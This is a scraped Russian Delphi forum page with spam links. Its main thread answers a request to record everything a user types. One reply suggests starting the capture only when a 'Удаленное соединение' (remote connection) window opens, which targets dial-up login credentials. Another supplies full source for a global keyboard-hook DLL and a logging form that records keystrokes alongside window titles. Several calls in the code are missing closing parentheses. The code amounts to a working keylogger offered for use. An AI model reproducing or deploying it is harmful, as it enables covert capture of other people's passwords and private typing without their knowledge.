Типы программирования, программирование, языки программирования, книги программирование На сайте представлена информация про программирование в Интернете и работу  

Перехват вызовов функций, Способы перехвата
NetBios in Delphi, у кого есть решение?
!!!!!!!!!!!!ПОМОГИТЕ&#, КТО ЗАНИМАЕТЬСЯ ВЗЛОМОМ ПРОГРАММ
Вопрос обо всем
Обсчёт трафика!
как вычислить IP адрес, programmnym putem!
Как можно получить звук с микрофона?, Пример кода
Удалить все файлы вместе с директорией
Сортировка ListView при нажатии на заголовок, Пример кода
Активная форма, Определить активная или нет
сведения ICQ, Как получить сведения о ICQ
Как работать с Outlook в Delphi, !!!!!!!!!!1ПОМОГИТЕ!!&
Работа с почтой, НУЖНА ПОМОЩЬ
Как найти окно по неполному названию, Пример кода
ОПЫТНЫЙ и не только помогите!!!, ДВА ВОПРОСА
Снова TQRCompositeReport
Как обновить данные в программе? [D3, Win95/98], Как обновить данные в программе? [D3, Wi
TreeView
Определение версии винды..., определение версии винды
Как узнать имя компьютера?, Пример кода
Как Вы относитесь к курящим девушкам?
Можно ли снести BIOS, Помогите пожайлуста!!!!!!
Как програмно прокрутить Memo, Пример кода
Как установить дополнительные компоненты ?
Цвета, Как перекрасить TPageControl и TTabCon.
Папка -> Файл, Как из папки сделать файл?
анимированные изображения
Как правильно закрыть..., ... модальную форму...
Редактирование Шрифтов для матричных принтеров, Способы и методы
exe формат
Как перебрать контролы..., ... на форме или в панели..
QuickReport
ПОМОГИТЕ ПОЖАЙЛУСТА, ОЧЕНЬ МНОГО ВОПРОСОВ
FAQ по форуму, почему-бы не сделать..., ...и не выложить где-нить...
Как спрятать окно..., ...при запуске приложения...
Копирование с поврежденного носителя..., Копирование с поврежденного носителя...
Как заказать сервисный процесс ?
Создание экземпляра TWebBrowser в runtime
FTP client, Киньте в меня сырцами клиента
Delphi и Excel!!! Срочно, Delphi и Excel!!! Срочно
Книги по Windows API, Кто может подсказать удачные?
Не глобальный хук, Не глобальный хук
Вращение для OpenGL, OGL
Delphi Games, Кто хочет сделать игру на Delphi, заходи
Обработка ошибок в ADODataSet
Отжор памяти и как с ним бороться :)
Плагины, Взаимодействие Программы с DLL
Запись цвета в реестр...
Как работать с Excel из Дельфи??
Одолевают сомнения, Периодический опрос буфера
Извлечение иконок из EXE и DLL, Пример кода
Нифига не понимаю...., API под XP и 98'ой ....:(
Как Вы относитесь к курящим девушкам?
Библиотека Ctr и Pentium2, Паскаль под Дос
Таскание окошка...
Определение IP. ЗАЧЕМ???
Перехват нажатия клавиши, Перехват нажатия клавиши
Диалог выбора директории aka папки!
Применение функции проверки..., Применение функции проверки...
Изменить иконку, Как изменить иконку у exe-файла?
Дядька Борланд - БРАКОДЕл или глюк в DELPHI 5.0, Глюк в Delphi 5
Насчет опроса про программирование в Delphi
Обработка BMP
Слежение за нажатием клавиш.
Считать текст с IE
Hook, hook
Чужой COM объект, Есть ли доступ?
Проги
Из файла в массив.....
Plug-in для IE, Как написать?

Платные хостинги     Раскрутка сайта     Книги по программированию


Слежение за нажатием клавиш.

Только здесь 1000 посетителей на Ваш сайт всего за 3 у.е.!

- Здрасти вам!Вот я опять решил всех задолбать своей шизой.Короче, тут уже обсуждалась одна проблема, с Клавой, реальная проблема.Мне посоветовали TRecorder, но он меня не удовлетворил. Он сохраняет всё в какомто невнятном формате, в то время, как мне всеголишь нужно сохранятьвсе буковки печатаемые юзверем, причём в читабельном формате. Мне не нужно воспроизводить движения мыши и прочую ерунду. Я долго и нудно пытался чтото изменить(разобраться), но кроме головной боли я не обнаружил.Короче так, реально, ктото может мне помочь или нет.Типа заранее спасибо.Да, я обитаю в D6. Исходы другого происхождения не подходят (отдельный раздел моей головной боли).

- Тогда пиши hook на клавиатуру и мышь. Если не знаешь- придется подождать когда я смогу это написать, хотя примеров в интернете много.

- Спасибо, подожду!Мне тока на клаву ПЛЗ!Если примеры есть то кидай.

- Если можно то и мне тоже.

- И мне  

- Вам только пример для клавы?Frikazoid, а ты собираешься все время записывать клаву?Начинать запись нужно только когда появляется окно с заголовком "Удаленное соединение" и когда оно появляется, только тогда активируешь hook, иначе он немного подтормаживает систему(по словам не помню кого, но у меня тормоза не заметны)

- Готово. Смотрите личную почту.

- Дык бросай код в форум, наверное не только автору будет интересно...

- Спосибо тебе боше при бошое.

- Спасибо, Mikel.

- Пока не смотрел но спасибо.

- Кстати, Frikazoid, что ты мне там намылил? Че за кодировка? Нечитабельно.

- Библиотека:library keyboardhook;uses  SysUtils,  Windows,  Messages,  Forms;const  MMFName:PChar='Keys';type  PGlobalDLLData=^TGlobalDLLData;  TGlobalDLLData=packed record    SysHook:HWND; //дескриптор установленной ловушки    MyAppWnd:HWND; //дескриптор нашего приложения  end;var  GlobalData:PGlobalDLLData;  MMFHandle:THandle;  WM_MYKEYHOOK:Cardinal;function KeyboardProc(code:integer;wParam:word;lParam:longint):longint;stdcall;var    AppWnd:HWND;begin  if code < 0 then  begin    Result:=CallNextHookEx(GlobalData^.SysHook,Code,wParam,lParam);    Exit;  end;  if (((lParam and KF_UP)=0)and     (wParam>=0)and(wParam<=255))OR {поставь от 65 до 90, если тебе}     (((lParam and KF_UP)=0)and     {нужны только A..Z}     (wParam=VK_SPACE))then   begin     AppWnd:=GetForegroundWindow();     SendMessage(GlobalData^.MyAppWnd,WM_MYKEYHOOK,wParam,AppWnd);   end;  CallNextHookEx(GlobalData^.SysHook,Code,wParam,lParam);  Result:= 0;end;{Процедура установки HOOK-а}procedure hook(switch : Boolean; hMainProg: HWND) export; stdcall;begin  if switch=true then  begin    {Устанавливаем HOOK, если не установлен (switch=true). }    GlobalData^.SysHook := SetWindowsHookEx(WH_KEYBOARD, @KeyboardProc, HInstance, 0);    GlobalData^.MyAppWnd:= hMainProg;  end  else    UnhookWindowsHookEx(GlobalData^.SysHook)end;procedure OpenGlobalData();begin  {регестрируем свой тип сообщения в системе}  WM_MYKEYHOOK:= RegisterWindowMessage('WM_MYKEYHOOK'  {получаем объект файлового отображения}  MMFHandle:= CreateFileMapping(INVALID_HANDLE_VALUE, nil, PAGE_READWRITE,0,SizeOf(TGlobalDLLData),MMFName);  {отображаем глобальные данные на АП вызывающего процесса и получаем указатель   на начало выделенного пространства}  GlobalData:= MapViewOfFile(MMFHandle,FILE_MAP_ALL_ACCESS,0,0,SizeOf(TGlobalDLLData));  if GlobalData=nil then    begin      CloseHandle(MMFHandle);      Exit;    end;end;procedure CloseGlobalData();begin  UnmapViewOfFile(GlobalData);  CloseHandle(MMFHandle);end;procedure DLLEntryPoint(dwReason: DWord); stdcall;begin  case dwReason of    DLL_PROCESS_ATTACH: OpenGlobalData;    DLL_PROCESS_DETACH: CloseGlobalData;  end;end;exports           hook;begin  DLLProc:= @DLLEntryPoint;  {вызываем назначенную процедуру для отражения факта присоединения данной   библиотеки к процессу}  DLLEntryPoint(DLL_PROCESS_ATTACH);end.

- Пример:var  Form1: TForm1;  WndFlag: HWND;     // дескриптор последнего окна  keys: string[41];  // нажатые клавишы  hDLL: THandle;     // дескриптор загружаемой библиотеки  WM_MYKEYHOOK: Cardinal; // моё сообщениеfunction GetWndText(WndH: HWND): string;var  s: string;  Len: integer;begin  Len:= GetWindowTextLength(WndH)+1;  // получаю размер текста  if Len > 1 then    begin      SetLength(s, Len);      GetWindowText(WndH, @s[1], Len); // получаю сам текст, который записывается в s      Result:= s;    end    else      Result:= 'text not detected';end;procedure TForm1.Button1Click(Sender: TObject);var  Hook: procedure (switch : Boolean; hMainProg: HWND) stdcall;begin  {посылаю своему окну сообщение для того что бы не выводился первый символ - см. WndProc}  SendMessage(Form1.Handle, WM_MYKEYHOOK, VK_SPACE, Application.MainForm.Handle);  @hook:= nil; // инициализируем переменную hook  hDLL:=LoadLibrary(PChar('keyhook.dll'); { загрузка DLL }  if hDLL > HINSTANCE_ERROR then    begin                                   { если всё без ошибок, то }      @hook:=GetProcAddress(Hdll, 'hook'  { получаем указатель на необходимую процедуру}      Button2.Enabled:=True;      Button1.Enabled:=False;      StatusBar1.SimpleText:= 'Status: DLL loaded...';      hook(true, Form1.Handle);      StatusBar1.SimpleText:= 'Status: loging in progress...';    end  else  begin    ShowMessage('Ошибка при загрузке DLL !'    Exit;  end;end;procedure TForm1.Button2Click(Sender: TObject);var  Hook: procedure (switch : Boolean; hMainProg: HWND) stdcall;begin  @hook:= nil; // инициализируем переменную hook  if hDLL > HINSTANCE_ERROR then    begin                                   { если всё без ошибок, то }      @hook:=GetProcAddress(Hdll, 'hook'  { получаем указатель на необходимую процедуру}      Button1.Enabled:=True;      Button2.Enabled:=False;      hook(false, Form1.Handle);      if FreeLibrary(hDLL) then      begin        StatusBar1.SimpleText:= 'Status: DLL unloaded.';        sleep(1000)      end      else      begin        StatusBar1.SimpleText:= 'Status: ERROR while unloading DLL';        Exit;      end;      StatusBar1.SimpleText:= 'Status: loging stoped';    end;end;{  подмена процедуры окна - необходимо для обработки сообщений, поступивших из  DLL (см. исходный код DLL)}procedure TForm1.WndProc(var Msg: TMessage);begininherited ; // выполняем всё то, что должно происходить при поступлении сообщеня окну  {Но если пришло моё сообщение - выполняем следующий код}  if Msg.Msg = WM_MYKEYHOOK then  begin    {    Если пользователь поменял окно или переменная, содержащая нажатые клавишы    превысила допустимое значение - обнуляем keys и выводим статистику.    }    if (WndFlag <> HWND(Msg.lParam)) OR (Length(keys)>=1) then    begin      keys:=keys+String(Chr(Msg.wParam));      memo2.Text:=memo2.Text+' '+inttostr(ord(Chr(Msg.wParam)));      //label1.caption:=label1.caption+keys;      keys:='';      Memo1.Lines.Add(GetWndText(Msg.lParam));      WndFlag:= HWND(Msg.lParam)    end    else        keys:=keys+String(Chr(Msg.wParam));  end;end;procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);beginfreelibrary(hDLL);end;initialization  WndFlag:=0;  keys:= '';  { регистрирую своё сообщение в системе - точно так же надо сделать и в теле DLL    что бы DLL могла посылать главному приложению это сообщение.  }  WM_MYKEYHOOK:=RegisterWindowMessage('WM_MYKEYHOOK'end.

- Пишите предложения по изменению кода в лучшую сторону.

Интернет казино     Онлайн игры     Увеличение члена     Купить DVD


Главная страница | программирование 1с учебник | программирование сотовых | офшорное программирование | примеры линейное программирование | анализ программирование | программирование делфи | cgi программирование | программирование atmel | школа программирования | типы программирования | практика программирования | программирование autocad | программирование профессиональное | обзор языков программирования | среда программирования delphi | задачи целочисленного программирования | характеристика языка программирования | стиль программирования | постановка задачи программирование | программирование серверов | программирование диплом скачать | применение программирования | Ссылки

Все про практика программирования